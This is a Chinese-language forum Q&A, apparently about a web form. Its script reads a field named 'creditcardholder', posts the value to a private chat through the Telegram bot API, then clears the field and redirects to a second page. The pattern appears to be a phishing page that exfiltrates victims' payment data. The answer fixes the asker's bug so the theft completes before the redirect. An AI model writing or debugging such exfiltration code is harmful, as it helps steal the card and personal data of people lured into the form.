我在将用户重定向到下一页时遇到问题。发生的情况是,在发送表单后,用户被引导到下一个页面,但没有通过Bot Telegram将消息连接到我。
var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
email = document.getElementById("creditcardholder").value;
message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);
});
document.getElementById("creditcardholder").value = "";
window.location.href = "main2.html";
return false;
};
如果在完成AJAX请求之前重定向用户,则AJAX请求将中止。在这个修改后的代码中,重定向只在AJAX请求成功完成后发生:
var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
email = document.getElementById("creditcardholder").value;
message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);
window.location.href = "main2.html";
});
document.getElementById("creditcardholder").value = "";
return false;
};